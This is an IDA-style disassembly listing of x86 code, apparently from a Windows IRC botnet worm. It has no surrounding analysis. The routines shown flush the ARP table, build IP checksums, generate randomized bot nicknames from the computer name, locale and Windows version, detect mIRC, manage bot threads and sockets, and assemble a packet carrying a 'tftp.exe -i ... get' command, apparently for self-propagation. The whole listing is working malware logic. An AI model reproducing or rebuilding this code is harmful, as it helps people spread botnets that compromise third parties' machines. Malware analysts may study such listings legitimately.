loc_40AE11: ; CODE XREF: sub_40ADC9+91j lea eax, [ebp+var_88] push eax call sub_41EA60 add esp, 0Ch jmp short loc_40AE6F ; --------------------------------------------------------------------------- loc_40AE22: ; CODE XREF: sub_40ADC9+40j push offset unk_44424C jmp short loc_40AE61 ; --------------------------------------------------------------------------- loc_40AE29: ; CODE XREF: sub_40ADC9+3Bj push [ebp+var_8] call sub_41BE40 push [ebp+var_8] mov esi, eax push edi push esi call sub_41E4B0 add esp, 10h cmp esi, edi jz short loc_40AE5C lea eax, [ebp+var_8] push ebx push eax push esi call ds:dword_4E3044 ; GetIpNetTable cmp eax, edi jz short loc_40AE95 push eax push offset unk_444270 jmp short loc_40AE11 ; --------------------------------------------------------------------------- loc_40AE5C: ; CODE XREF: sub_40ADC9+79j push offset unk_44429C loc_40AE61: ; CODE XREF: sub_40ADC9+5Ej ; sub_40ADC9+CAj lea eax, [ebp+var_88] push eax call sub_41EA60 pop ecx pop ecx loc_40AE6F: ; CODE XREF: sub_40ADC9+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415A3C pop ecx loc_40AE7F: ; CODE XREF: sub_40ADC9+CEj ; sub_40ADC9+E2j push esi call sub_41C9D0 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AE8E: ; CODE XREF: sub_40ADC9+32j push offset unk_4442CC jmp short loc_40AE61 ; --------------------------------------------------------------------------- loc_40AE95: ; CODE XREF: sub_40ADC9+29j ; sub_40ADC9+89j cmp [esi], edi jbe short loc_40AE7F lea ebx, [esi+4] loc_40AE9C: ; CODE XREF: sub_40ADC9+E0j push ebx call ds:dword_4E3040 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AE9C jmp short loc_40AE7F sub_40ADC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEAD proc near ; CODE XREF: sub_401C87+21EBp ; sub_401C87+2322p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_4E2F6C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4E30F4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41EA60 add esp, 18h mov eax, esi pop esi leave retn sub_40AEAD endp ; =============== S U B R O U T I N E ======================================= sub_40AF06 proc near ; CODE XREF: _0:0040C75Bp ; sub_4133AE+24Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_40AF31 lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_40AF24: ; CODE XREF: sub_40AF06+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_40AF24 pop edi jmp short loc_40AF35 ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40AF06+Aj mov esi, [esp+4+arg_0] loc_40AF35: ; CODE XREF: sub_40AF06+29j test ecx, ecx jz short loc_40AF3E movzx eax, byte ptr [esi] add edx, eax loc_40AF3E: ; CODE XREF: sub_40AF06+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF06 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp ecx, 1 mov [ebp-4], esi jle short loc_40AF85 lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_40AF77: ; CODE XREF: _0:0040AF7Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_40AF77 pop edi cmp ecx, 1 loc_40AF85: ; CODE XREF: _0:0040AF69j jnz short loc_40AF92 mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_40AF92: ; CODE XREF: _0:loc_40AF85j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; =============== S U B R O U T I N E ======================================= sub_40AFAB proc near ; CODE XREF: sub_40B38F+4Ap ; DATA XREF: _2:off_444318o arg_0 = dword ptr 4 push esi push edi call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 call sub_41EB70 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push ds:off_446DB0[edx*4] push offset dword_447FEC push 1Ch push edi call sub_41EC30 xor esi, esi add esp, 14h cmp ds:dword_43F09C, esi jle short loc_40B012 loc_40AFEC: ; CODE XREF: sub_40AFAB+65j call sub_41EB70 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_447FF0 push 1Ch push edi call sub_41EC30 add esp, 14h inc esi cmp esi, ds:dword_43F09C jl short loc_40AFEC loc_40B012: ; CODE XREF: sub_40AFAB+3Fj mov eax, edi pop edi pop esi retn sub_40AFAB endp ; --------------------------------------------------------------------------- push esi push edi call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 mov edi, [esp+10h] mov dword ptr [esp], offset asc_43F12A ; "-" push offset dword_447FF8 push 1Ch push edi call sub_41EC30 xor esi, esi add esp, 10h cmp ds:dword_43F09C, esi jle short loc_40B070 loc_40B04A: ; CODE XREF: _0:0040B06Ej call sub_41EB70 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_447FFC push 1Ch push edi call sub_41EC30 add esp, 14h inc esi cmp esi, ds:dword_43F09C jl short loc_40B04A loc_40B070: ; CODE XREF: _0:0040B048j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40B075 proc near ; CODE XREF: sub_401C87+6A68p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx call sub_41EB70 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_43F09C test esi, esi jle short loc_40B0B8 loc_40B0A2: ; CODE XREF: sub_40B075+41j call sub_41EB70 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40B0A2 loc_40B0B8: ; CODE XREF: sub_40B075+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40B075 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, offset dword_448004 mov dword ptr [ebp-4], 100h xor edi, edi call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx lea eax, [ebp-4] push eax push esi call ds:dword_4F5394 ; GetComputerNameA test eax, eax jnz short loc_40B0F7 mov esi, offset dword_448008 loc_40B0F7: ; CODE XREF: _0:0040B0F0j movsx eax, byte ptr [esi] push 41h pop ecx loc_40B0FD: ; CODE XREF: _0:0040B108j cmp eax, ecx jnz short loc_40B104 xor edi, edi inc edi loc_40B104: ; CODE XREF: _0:0040B0FFj inc ecx cmp ecx, 5Bh jl short loc_40B0FD push 61h pop ecx loc_40B10D: ; CODE XREF: _0:0040B118j cmp eax, ecx jnz short loc_40B114 xor edi, edi inc edi loc_40B114: ; CODE XREF: _0:0040B10Fj inc ecx cmp ecx, 7Bh jl short loc_40B10D test edi, edi jnz short loc_40B123 mov esi, offset dword_44800C loc_40B123: ; CODE XREF: _0:0040B11Cj mov edi, [ebp+8] push esi push 1Ch push edi call sub_41EC30 xor esi, esi add esp, 0Ch cmp ds:dword_43F09C, esi jle short loc_40B162 loc_40B13C: ; CODE XREF: _0:0040B160j call sub_41EB70 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_448010 push 1Ch push edi call sub_41EC30 add esp, 14h inc esi cmp esi, ds:dword_43F09C jl short loc_40B13C loc_40B162: ; CODE XREF: _0:0040B13Aj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_4F5398 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_448018 push 1Ch push edi call sub_41EC30 xor esi, esi add esp, 10h cmp ds:dword_43F09C, esi jle short loc_40B1D7 loc_40B1B1: ; CODE XREF: _0:0040B1D5j call sub_41EB70 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_44801C push 1Ch push edi call sub_41EC30 add esp, 14h inc esi cmp esi, ds:dword_43F09C jl short loc_40B1B1 loc_40B1D7: ; CODE XREF: _0:0040B1AFj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_4E3108 mov dword ptr [ebp-94h], 94h call ds:dword_4F539C ; GetVersionExA call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40B261 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40B241 cmp dword ptr [ebp-84h], 1 jnz short loc_40B231 mov esi, offset dword_448024 loc_40B231: ; CODE XREF: _0:0040B22Aj cmp dword ptr [ebp-84h], 2 jnz short loc_40B29D mov esi, offset dword_448028 jmp short loc_40B29D ; --------------------------------------------------------------------------- loc_40B241: ; CODE XREF: _0:0040B221j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40B251 mov esi, offset dword_44802C jmp short loc_40B29D ; --------------------------------------------------------------------------- loc_40B251: ; CODE XREF: _0:0040B248j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40B298 mov esi, offset dword_448030 jmp short loc_40B29D ; --------------------------------------------------------------------------- loc_40B261: ; CODE XREF: _0:0040B218j cmp dword ptr [ebp-90h], 5 jnz short loc_40B298 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40B27A mov esi, offset dword_448034 jmp short loc_40B29D ; --------------------------------------------------------------------------- loc_40B27A: ; CODE XREF: _0:0040B271j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40B28A mov esi, offset dword_448038 jmp short loc_40B29D ; --------------------------------------------------------------------------- loc_40B28A: ; CODE XREF: _0:0040B281j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_44803C jz short loc_40B29D loc_40B298: ; CODE XREF: _0:0040B258j _0:0040B268j mov esi, offset dword_448040 loc_40B29D: ; CODE XREF: _0:0040B238j _0:0040B23Fj ... mov edi, [ebp+8] push esi push offset dword_448044 push 1Ch push edi call sub_41EC30 xor esi, esi add esp, 10h cmp ds:dword_43F09C, esi jle short loc_40B2E1 loc_40B2BB: ; CODE XREF: _0:0040B2DFj call sub_41EB70 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_44804C push 1Ch push edi call sub_41EC30 add esp, 14h inc esi cmp esi, ds:dword_43F09C jl short loc_40B2BB loc_40B2E1: ; CODE XREF: _0:0040B2B9j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2E7 proc near ; CODE XREF: sub_40B38F+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_4F537C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 mov esi, eax cmp esi, 64h jbe short loc_40B336 push offset aMirc_0 ; "mIRC" call ds:dword_4E2FD4 ; FindWindowA test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40B31F mov eax, offset byte_4E3109 loc_40B31F: ; CODE XREF: sub_40B2E7+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41EC30 add esp, 14h jmp short loc_40B35B ; --------------------------------------------------------------------------- loc_40B336: ; CODE XREF: sub_40B2E7+1Dj push offset aMirc_1 ; "mIRC" call ds:dword_4E2FD4 ; FindWindowA test eax, eax mov eax, offset aM_1 ; "[M]" jnz short loc_40B34F mov eax, offset word_4E310A loc_40B34F: ; CODE XREF: sub_40B2E7+61j push eax lea eax, [ebp+var_1C] push eax call sub_41EA60 pop ecx pop ecx loc_40B35B: ; CODE XREF: sub_40B2E7+4Dj lea eax, [ebp+var_1C] push eax call sub_41BC70 pop ecx cmp eax, 2 pop esi jbe short loc_40B38A push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41FAC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41E510 add esp, 18h loc_40B38A: ; CODE XREF: sub_40B2E7+82j mov eax, [ebp+arg_0] leave retn sub_40B2E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B38F proc near ; CODE XREF: sub_4019A5+7Fp ; sub_401B0B+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_40B398: ; CODE XREF: sub_40B38F+40j cmp [ebp+arg_C], 0 jz short loc_40B3B6 lea eax, aReal[esi] ; "real" push eax push [ebp+arg_C] call sub_41F7E0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B3C4 ; --------------------------------------------------------------------------- loc_40B3B6: ; CODE XREF: sub_40B38F+Dj mov ecx, ds:dword_444314[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B3C4: ; CODE XREF: sub_40B38F+25j test eax, eax jnz short loc_40B3D3 add esi, 14h inc edi cmp esi, 78h jb short loc_40B398 jmp short loc_40B3E1 ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B38F+37j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_444318[eax*4] pop ecx loc_40B3E1: ; CODE XREF: sub_40B38F+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B3F4 push [ebp+arg_0] call sub_40B2E7 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B3F4: ; CODE XREF: sub_40B38F+58j mov eax, [ebp+arg_0] pop ebp retn sub_40B38F endp ; =============== S U B R O U T I N E ======================================= sub_40B3F9 proc near ; CODE XREF: sub_40B419+Ap ; sub_40B4F1+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41BC70 push [esp+8+arg_4] mov esi, eax call sub_41BC70 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B3F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B419 proc near ; CODE XREF: _0:0040B551p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B3F9 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B436 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B436: ; CODE XREF: sub_40B419+17j push ebx push esi push edi push [ebp+arg_8] call sub_41BC70 push [ebp+arg_C] mov esi, eax call sub_41BC70 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov ds:dword_44810C, eax lea eax, [edi+1] mov ds:dword_44812D, eax lea eax, [edi+17h] mov ds:dword_448125, eax pop eax push 74h sub eax, edi push offset dword_4480A8 push ebx mov ds:dword_44813B, eax call sub_41FBF0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41FBF0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41FBF0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41FBF0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41FBF0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41FBF0 add esi, edi push 38h add esi, ebx push offset byte_448131 push esi call sub_41FBF0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B419 endp ; =============== S U B R O U T I N E ======================================= sub_40B4F1 proc near ; CODE XREF: _0:0040B515p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B3F9 push eax call sub_40B575 add esp, 0Ch retn sub_40B4F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push edi mov edi, [ebp+14h] push edi push ebx call sub_40B4F1 cmp eax, [ebp+0Ch] pop ecx pop ecx ja short loc_40B528 cmp eax, 0FFFFh jbe short loc_40B52C loc_40B528: ; CODE XREF: _0:0040B51Fj xor eax, eax jmp short loc_40B571 ; --------------------------------------------------------------------------- loc_40B52C: ; CODE XREF: _0:0040B526j push esi push edi push ebx call sub_40B3F9 add eax, 101h push eax call sub_41BE40 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B3F9 pop ecx pop ecx push eax push esi call sub_40B419 push eax push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B590 push esi mov edi, eax call sub_41C9D0 add esp, 24h mov eax, edi pop esi loc_40B571: ; CODE XREF: _0:0040B52Aj pop edi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_40B575 proc near ; CODE XREF: sub_40B4F1+Ep ; sub_40B590+47p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B57E inc ecx loc_40B57E: ; CODE XREF: sub_40B575+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B575 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B590 proc near ; CODE XREF: _0:0040B55Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_C] cmp dl, 0Ah jz short loc_40B5AA cmp dl, 0Dh jz short loc_40B5AA cmp dl, 5Ch jz short loc_40B5AA test dl, dl jnz short loc_40B5AE loc_40B5AA: ; CODE XREF: sub_40B590+Aj ; sub_40B590+Fj ... inc edx mov [ebp+arg_C], edx loc_40B5AE: ; CODE XREF: sub_40B590+18j push esi mov esi, 0FFh cmp edx, esi jbe short loc_40B5D6 mov eax, edx shr eax, 8 cmp al, 0Ah jz short loc_40B5CD cmp al, 0Dh jz short loc_40B5CD cmp al, 5Ch jz short loc_40B5CD test al, al jnz short loc_40B5D6 loc_40B5CD: ; CODE XREF: sub_40B590+2Fj ; sub_40B590+33j ... add edx, 100h mov [ebp+arg_C], edx loc_40B5D6: ; CODE XREF: sub_40B590+26j ; sub_40B590+3Bj push edx call sub_40B575 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B5EC cmp eax, 0FFFFh jbe short loc_40B5F3 loc_40B5EC: ; CODE XREF: sub_40B590+53j xor eax, eax jmp loc_40B68E ; --------------------------------------------------------------------------- loc_40B5F3: ; CODE XREF: sub_40B590+5Aj push ebx mov bl, ds:byte_4E310C xor ecx, ecx push edi mov edi, [ebp+arg_8] test edx, edx jbe short loc_40B620 loc_40B604: ; CODE XREF: sub_40B590+8Ej mov al, [ecx+edi] xor al, bl jz short loc_40B617 cmp al, 0Ah jz short loc_40B617 cmp al, 0Dh jz short loc_40B617 cmp al, 5Ch jnz short loc_40B61B loc_40B617: ; CODE XREF: sub_40B590+79j ; sub_40B590+7Dj ... inc bl xor ecx, ecx loc_40B61B: ; CODE XREF: sub_40B590+85j inc ecx cmp ecx, edx jb short loc_40B604 loc_40B620: ; CODE XREF: sub_40B590+72j cmp edx, esi mov ds:byte_4E310C, bl ja short loc_40B64C push 15h push offset loc_448090 push [ebp+arg_0] mov ds:byte_44809D, dl mov ds:byte_4480A1, bl call sub_41FBF0 add esp, 0Ch push 15h jmp short loc_40B66D ; --------------------------------------------------------------------------- loc_40B64C: ; CODE XREF: sub_40B590+98j push 17h push offset loc_448078 push [ebp+arg_0] mov ds:word_448086, dx mov ds:byte_44808B, bl call sub_41FBF0 add esp, 0Ch push 17h loc_40B66D: ; CODE XREF: sub_40B590+BAj xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B689 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B67B: ; CODE XREF: sub_40B590+F7j mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B67B loc_40B689: ; CODE XREF: sub_40B590+E3j mov eax, [ebp+var_4] pop edi pop ebx loc_40B68E: ; CODE XREF: sub_40B590+5Ej pop esi leave retn sub_40B590 endp ; =============== S U B R O U T I N E ======================================= sub_40B691 proc near ; CODE XREF: sub_401404+366p ; sub_401404+3A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_455D00 loc_40B699: ; CODE XREF: sub_40B691+18j cmp byte ptr [eax], 0 jz short loc_40B6AD add eax, 234h inc edi cmp eax, offset dword_4E2D00 jl short loc_40B699 jmp short loc_40B6F8 ; --------------------------------------------------------------------------- loc_40B6AD: ; CODE XREF: sub_40B691+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_455D00[esi] push eax call sub_41E510 mov eax, [esp+14h+arg_4] and ds:dword_455F04[esi], 0 and ds:dword_455F08[esi], 0 mov ds:dword_455F00[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and ds:byte_455F18[esi], 0 mov ds:dword_455F0C[esi], eax pop esi loc_40B6F8: ; CODE XREF: sub_40B691+1Aj mov eax, edi pop edi retn sub_40B691 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6FC proc near ; DATA XREF: sub_401C87+2949o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40B74E push [ebp+var_14] call sub_40B9A7 add esp, 14h push 0 call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_40B6FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B74E proc near ; CODE XREF: sub_40B6FC+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_44816C push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h xor edi, edi mov esi, offset dword_455D00 loc_40B778: ; CODE XREF: sub_40B74E+78j cmp byte ptr [esi], 0 jz short loc_40B7B9 cmp [ebp+arg_C], 0 jnz short loc_40B78C cmp dword ptr [esi+204h], 0 jnz short loc_40B7B9 loc_40B78C: ; CODE XREF: sub_40B74E+33j push esi push edi lea eax, [ebp+var_200] push offset dword_448180 push eax call sub_41EA60 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 24h loc_40B7B9: ; CODE XREF: sub_40B74E+2Dj ; sub_40B74E+3Cj add esi, 234h inc edi cmp esi, offset dword_4E2D00 jl short loc_40B778 pop edi pop esi leave retn sub_40B74E endp ; =============== S U B R O U T I N E ======================================= sub_40B7CC proc near ; CODE XREF: sub_401C87+7C16p ; sub_40B854+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B84E cmp esi, 400h jge short loc_40B84E imul esi, 234h push edi push ebx lea edi, dword_455F14[esi] push dword ptr [edi] call ds:dword_4F5380 ; TerminateThread cmp [edi], ebx jz short loc_40B7FE inc ebp loc_40B7FE: ; CODE XREF: sub_40B7CC+2Fj mov [edi], ebx lea edi, dword_455F08[esi] mov ds:dword_455F00[esi], ebx mov ds:dword_455F04[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B81F push eax call sub_41A652 pop ecx loc_40B81F: ; CODE XREF: sub_40B7CC+4Aj mov [edi], ebx lea edi, dword_455F0C[esi] mov byte ptr ds:dword_455D00[esi], bl mov ds:byte_455F18[esi], bl push dword ptr [edi] call ds:dword_4E3060 ; closesocket lea esi, dword_455F10[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_4E3060 ; closesocket mov [esi], ebx pop edi loc_40B84E: ; CODE XREF: sub_40B7CC+Dj ; sub_40B7CC+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B7CC endp ; =============== S U B R O U T I N E ======================================= sub_40B854 proc near ; CODE XREF: sub_401300+18p ; sub_401404:loc_401991p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_455D00 loc_40B860: ; CODE XREF: sub_40B854+2Aj cmp byte ptr [esi], 0 jz short loc_40B871 push edi call sub_40B7CC test eax, eax pop ecx jz short loc_40B871 inc ebx loc_40B871: ; CODE XREF: sub_40B854+Fj ; sub_40B854+1Aj add esi, 234h inc edi cmp esi, offset dword_4E2D00 jl short loc_40B860 pop edi mov eax, ebx pop esi pop ebx retn sub_40B854 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B886 proc near ; CODE XREF: sub_401C87+4169p ; sub_401C87+42B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_455F04 loc_40B89A: ; CODE XREF: sub_40B886+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B8BC test edi, edi jle short loc_40B8AE cmp [esi], edi jz short loc_40B8AE cmp ebx, edi jnz short loc_40B8BC loc_40B8AE: ; CODE XREF: sub_40B886+1Ej ; sub_40B886+22j push ebx call sub_40B7CC test eax, eax pop ecx jz short loc_40B8BC inc [ebp+var_4] loc_40B8BC: ; CODE XREF: sub_40B886+1Aj ; sub_40B886+26j ... add esi, 234h inc ebx cmp esi, offset dword_4E2F04 jl short loc_40B89A mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B886 endp ; =============== S U B R O U T I N E ======================================= sub_40B8D3 proc near ; CODE XREF: sub_401404+3FAp ; sub_401C87+93Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_455F00 loc_40B8DA: ; CODE XREF: sub_40B8D3+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B8E3 inc eax loc_40B8E3: ; CODE XREF: sub_40B8D3+Dj add ecx, 234h cmp ecx, offset dword_4E2F00 jl short loc_40B8DA retn sub_40B8D3 endp ; =============== S U B R O U T I N E ======================================= sub_40B8F2 proc near ; CODE XREF: sub_401C87+23E1p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_455F00 push esi loc_40B8FC: ; CODE XREF: sub_40B8F2+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B915 add ecx, 234h inc edx cmp ecx, offset dword_4E2F00 jl short loc_40B8FC pop esi retn ; --------------------------------------------------------------------------- loc_40B915: ; CODE XREF: sub_40B8F2+10j mov eax, edx pop esi retn sub_40B8F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B919 proc near ; CODE XREF: sub_401C87+1017p ; sub_401C87+121Dp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B932 push [ebp+arg_1C] call sub_41E710 pop ecx loc_40B932: ; CODE XREF: sub_40B919+Ej push eax push [ebp+arg_18] call sub_40B886 pop ecx test eax, eax pop ecx jle short loc_40B95E push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41EA60 add esp, 14h jmp short loc_40B978 ; --------------------------------------------------------------------------- loc_40B95E: ; CODE XREF: sub_40B919+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41EA60 add esp, 10h loc_40B978: ; CODE XREF: sub_40B919+43j cmp [ebp+arg_C], 0 jnz short loc_40B998 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h 